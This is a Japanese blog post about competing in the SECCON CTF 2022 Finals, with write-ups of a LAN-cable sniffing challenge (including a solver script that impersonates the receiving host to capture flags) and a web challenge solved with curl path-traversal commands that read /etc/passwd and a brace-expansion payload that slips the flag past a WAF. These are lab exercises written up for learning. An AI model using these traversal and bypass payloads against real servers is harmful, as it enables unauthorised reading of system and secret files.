🥉

SECCON CTF 2022 Finals 参加記

2023/02/17に公開

2/11から2/12にかけてオンサイトで開催されたSECCON CTF 2022 Finalsの国内部門に
チーム"rokata"として出場しました。
結果は、12チーム中3位でした🥉
https://twitter.com/shio_sa1t/status/1624754077484867584

大会について

競技形式

JeopardyとKing of the Hill(KoH)の2つのフォーマットでした。
それぞれの詳細については後ほど記述します。
会場では2日間でそれぞれ7時間しかサーバーに接続できず、Jeopardyでは1日目の終わりには
問題文とファイルを持ち帰って宿題として解くことができました。
スコアは、すべての合計でした。

Jeopardy

いつものフォーマットです。
ジャンルは、rev, crypto, web, pwn, misc の5つに分かれていました。
miscはLANケーブルを使った物理問で、まさにオンサイトって感じの問題でした。
1日目から全ての問題が公開され、問題の追加はありませんでした。

King of the Hill(KoH)

King of the Hill(以下、KoH)は、競技プログラミングで言うと
ヒューリスティックコンテストのようなフォーマットでした。
優れた解法を提出すると順位が高くなり、多くのポイントを貰えます。
スコアは5分ごと付与されていくので、早く解いた方が良いです。
1日目にpwn系の問題が1問、2日目にrev系とcrypto系の問題の2問が出題されました。

[misc] sniffer

この問題は指定された50分間のみ攻撃することができます。
添付ファイルがありますが、パスワードがかかっていました。
時間になったら運営に別室へと連行されます。
人数も出入りも自由です。破棄することができます。
2時間前にルールが書かれた紙が配られ、添付ファイルのパスワードも書いてありました。

簡単に説明すると、PC1とPC2がLANケーブルで接続され、通信しています。
PC1(192.167.1.102)ではalice.pyが、PC2(192.168.1.103)ではbob.pyが実行されています。
PC1(Alice)がPC2(Bob)へと2つのFlagを送信しています。
問題ファイルはa.py(alice.py)でした。

a.py
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import dh
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives import hashes
from cryptography.fernet import Fernet
from RPi import GPIO
import os
import socket
import struct
import time

def send_bytes(sock, data):
    assert len(data) < 0x10000
    sock.send(struct.pack('<H', len(data)))
    sock.send(data)

def recv_bytes(sock):
    size = struct.unpack('<H', sock.recv(2))[0]
    return sock.recv(size)

# Constants and flags
IP   = '192.168.1.103'
PORT = 12345
FLAG1 = os.getenv('FLAG1', 'FAKECON{*** REDACTED ***}').encode()
FLAG2 = os.getenv('FLAG2', 'FAKECON{*** REDACTED ***}').encode()

PIN_HEALTH_CHECK = 4
PIN_ERROR = 17
GPIO.setmode(GPIO.BCM)
GPIO.setup(PIN_HEALTH_CHECK, GPIO.OUT)
GPIO.setup(PIN_ERROR, GPIO.OUT)

# Parameters
p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
g = 2

# Communication
while True:
    parameters = dh.DHParameterNumbers(p, g).parameters(default_backend())
    priv = parameters.generate_private_key()
    pub1 = priv.public_key()
    pub_bytes = pub1.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
            s.connect((IP, PORT))
            print("[+] connect(): ok")

            # 1. Send flag1
            send_bytes(s, FLAG1)

            # 2. Key exchange
            send_bytes(s, pub_bytes)
            pub2 = serialization.load_pem_public_key(recv_bytes(s))
            shared = priv.exchange(pub2)
            digest = hashes.Hash(hashes.SHA256())
            digest.update(shared)
            key = base64.urlsafe_b64encode(digest.finalize()[:32])

            # 3. Send flag2
            f = Fernet(key)
            send_bytes(s, f.encrypt(FLAG2))

            GPIO.output(PIN_HEALTH_CHECK, 1)
            time.sleep(1)
            GPIO.output(PIN_HEALTH_CHECK, 0)

    except Exception as e:
        print("[-]", e)
        GPIO.output(PIN_ERROR, 1)
        time.sleep(1)
        GPIO.output(PIN_ERROR, 0)

    time.sleep(4)

そして、競技者はLANケーブルの真ん中部分のみを攻撃できます。
PC1, PC2やLANケーブルの接続部分を触ってはいけません。[1]
別室にはスイッチ、かしめ工具、RJ45コネクタ(x8)[2]が用意されています。

LANケーブルの作り方や構造はなんとなく分かっていたので、色順など調べて準備しました。
また、用意されているスイッチの使い方を調べておきました。
Flag1はそのままの状態で送れているので見るだけですが、Flag2はDH鍵交換をしてから
送られているので、中間者攻撃をする必要があると思っていました。
そのため、スクリプトだけではなくスイッチも設定しておく必要があると思っていました。
なんとなく、「思っていました」で気付いたでしょうか。
はい、これは全て間違いであることを別室で気付かされました。

時間になり、別室へと連行され、LANケーブル作りがはじまりました。
最初に作った1つ目のLANケーブルのパケットを見てみると、たまたまPC1(Alice)だったため、Flag1を獲得することができました。
SECCON{c4bl3_ch0k1ch0k1}

そして、中間者攻撃を行うために2つ目のLANケーブルを作りました。
中間者攻撃を行うためにスクリプトの作成及びスイッチの設定を行いますが、
なかなか上手くいきませんでした。

そして終了10分前、「全て」に気付きました。
a.py(alice.py)を見ると、Flag2はPC1(Alice)から送信されていて、DH鍵交換は
PC2(Bob)からの公開鍵を受け取っているだけでした。
つまり、中間者攻撃を行う必要はなく、そもそもスイッチを使う必要もありませんでした。
ただ、Bobになりまして通信すれば良いだけです。
しかし、はじめての物理問ということもあり緊張していた私はスクリプトを作成することが
でききず、Flag2を獲得することができませんでした。

できるだけ多くのパケットをキャプチャしていたので、チームメンバーに「解けそう」と言われ、その後も取り組みましたが、何も成果が得られませんでした。
得られるのは後悔だけでした。

競技終了後に開かれたアフターパーティーで、作問者のptr-yudaiさんに「スイッチは発注してからいらないことに気付いたけど、置いておいた^^」[3]と言われ、完全に罠にハマっていたことを
再認識しました。
また、LANコネクタのランプからPC1(Alice)を特定することができるため、LANケーブルを2つ作る必要もなかったようです。

solver.py
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import dh
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives import hashes
from cryptography.fernet import Fernet
# from RPi import GPIO
import os
import socket
import struct
import time

def send_bytes(sock, data):
    assert len(data) < 0x10000
    sock.send(struct.pack('<H', len(data)))
    sock.send(data)

def recv_bytes(sock):
    size = struct.unpack('<H', sock.recv(2))[0]
    return sock.recv(size)

# Constants and flags
IP   = '192.168.1.103'
PORT = 12345

# Parameters
p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
g = 2

# Communication
while True:
    parameters = dh.DHParameterNumbers(p, g).parameters(default_backend())
    priv = parameters.generate_private_key()
    pub2 = priv.public_key()
    pub_bytes = pub2.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
            s.bind((IP, PORT))
            s.listen(1)
            c, addr = s.accept()
            print("[+] connect(): ok")

            # 1. Receive flag1
            flag1 = recv_bytes(c)
            print(flag1)

            # 2. Key exchange
            send_bytes(c, pub_bytes)
            pub1= serialization.load_pem_public_key(recv_bytes(c))
            shared = priv.exchange(pub1)
            digest = hashes.Hash(hashes.SHA256())
            digest.update(shared)
            key = base64.urlsafe_b64encode(digest.finalize()[:32])

            # 3. Receive flag2
            f = Fernet(key)
            flag2 = f.decrypt(recv_bytes(c))
            print(flag2)

    except Exception as e:
        print("[-]", e)

    time.sleep(4)
output
b'SECCON{c4bl3_ch0k1ch0k1}'
b'FAKECON{*** REDACTED ***}'

なんであの時これが書けなかったんだ...(;_;)

競技時間中に解けた問題はこれだけです。
しかしこれだけでは寂しいので、ここからは競技中に取り組んだ問題や競技時間後に解いた問題について書きます。

[web] easylfi2

easylfi again! I know you fully understand everything about curl.

添付ファイルにはソースコードがありました。

index.js
const app = new (require("koa"))();
const execFile = require("util").promisify(require("child_process").execFile);

const PORT = process.env.PORT ?? "3000";

// WAF
app.use(async (ctx, next) => {
  await next();
  if (JSON.stringify(ctx.body).match(/SECCON{\w+}/)) {
    ctx.body = "🤔";
  }
});

app.use(async (ctx) => {
  const path = decodeURI(ctx.path.slice(1)) || "index.html";
  try {
    const proc = await execFile(
      "curl",
      [`file://${process.cwd()}/public/${path}`],
      { timeout: 1000 }
    );
    ctx.type = "text/html; charset=utf-8";
    ctx.body = proc.stdout;
  } catch (err) {
    ctx.body = err;
  }
});

app.listen(PORT);

問題名がeasylfi2ということもあり、予選で出題されたeasylfiとほぼ同じ機能を持っています。
しかし、easylfiがPythonで書かれているのに対し、easylfi2ではJavaScriptで書かれています。
easylfiとは違い、文字列のチェックをされずにパストラバーサル攻撃をすることができます。

$ curl --path-as-is 'http://localhost:3000/../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

$ curl --path-as-is 'http://localhost:3000/../../flag.txt'
🤔

もちろん、flag.txtを読むことはできません。
そこで、このWAFを回避する必要があります。

// WAF
app.use(async (ctx, next) => {
  await next();
  if (JSON.stringify(ctx.body).match(/SECCON{\w+}/)) {
    ctx.body = "🤔";
  }
});

ここでJSON.stringifyが用いられていることに注目しました。
stdoutがある長さでカットされるため、SECCON{...のような文字列を作れば良いです。
ここまでは競技時間中に分かりましたが、これ以降はダメでした。
アフターパーティーでここまでが合っていると聞き、再び挑戦してみることにしました。
easylfiでも使われていた複数ファイルのやつを使います。[4]
maxBufferは1024*1024なので、1024*1024 - len(flag) - 1となるように調整します。
/etcls -lして、出来たペイロードが以下です。[5]

$ curl --path-as-is -g "http://localhost:3000/../..{/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/login.defs,/etc/xattr.conf,/etc/bindresvport.blacklist,/etc/shells,/etc/shells,/etc/shells,/etc/shells,/etc/shells,/etc/shell,/etc/issue.net,/etc/issue.net,/etc/issue.net,/etc/issue.net,/etc/issue.net,/etc/issue.net,/etc/issue.net,/etc/issue.net,/etc/issue.net,/etc/issue.net,/etc/issue.net,/etc/fstab,/etc/fstab,/etc/issue.net,/etc/issue.net,/etc/subuid,/etc/subuid,/etc/subuid,/etc/fstab,/etc/fstab,/etc/fstab,/etc/fstab,/etc/shells,/etc/shells,/etc/shells,/etc/shells,/etc/shells,/etc/shells,/etc/xattr.conf,/etc/xattr.conf,/etc/xattr.conf,/etc/fstab,/etc/issue.net,/etc/subuid,/flag.txt}"

本当はスクリプトを組むべきですが、手作業なのでめちゃくちゃ時間がかかりました。

output
(省略)
--_curl_--file:///app/public/../../flag.txt\nSECCON{dummy","stderr":"
(省略)

あと少しだった...

[KoH] Witch Quiz

2日目に出題されたcrypto系の問題です。
サーバーの数列を競技者が推測するゲームです。
当たった数だけ点数が貰えます。
(ここでいう点数は順位を決めるためのものです。)
5分ごとにスコアが付与されるので、できるだけ早く解法を作成する必要があります。[6]
問題は1,2時間ごとに変わり、4つのフェーズがありました。
どのフェーズも全て当てることはできませんでしたが、とても面白かったです。
Phase1では焦ってコードをしっかり読むことができず、最初は点数が伸びていませんでした。
Phase4は全く分からなかった。

他にもcryptoなどにも取り組みましたが、諸事情[7]により割愛させて頂きます。

感想

最初にチームメイトと運営の皆さん、ありがとうございました。
会場ではあまり解けませんでしたが、どの問題も楽しかったです。
色々なことを経験することができました。
https://twitter.com/shio_sa1t/status/1624770094613299202
今回は失敗が多く、あまりチームの貢献することができませんでした。
ですが、これを学びとして次回はもっと上手くやれると思っています。
来年もSECCON CTF Finalsに出場し、もっと問題を解けるように頑張っていきたいです。

脚注
  1. 運営に監視されていました。 ↩︎

  2. 切るための工具が記載されていないため、下のコンビニでカッターを買いましたが、用意されていました。 ↩︎

  3. 一部フィクションです。 ↩︎

  4. You can specify multiple URLs or parts of URLs by writing part sets within braces and quoting the URL as in: "http://site.{one,two,three}.com" ↩︎

  5. Flagの中身が5文字であるときのペイロード。 ↩︎

  6. 最初は0でも提出した方が順位が高くなっていました。 ↩︎

  7. 左手を火傷しました。詳しくはhttps://twitter.com/shio_sa1t/status/1625290172777762816 ↩︎

Discussion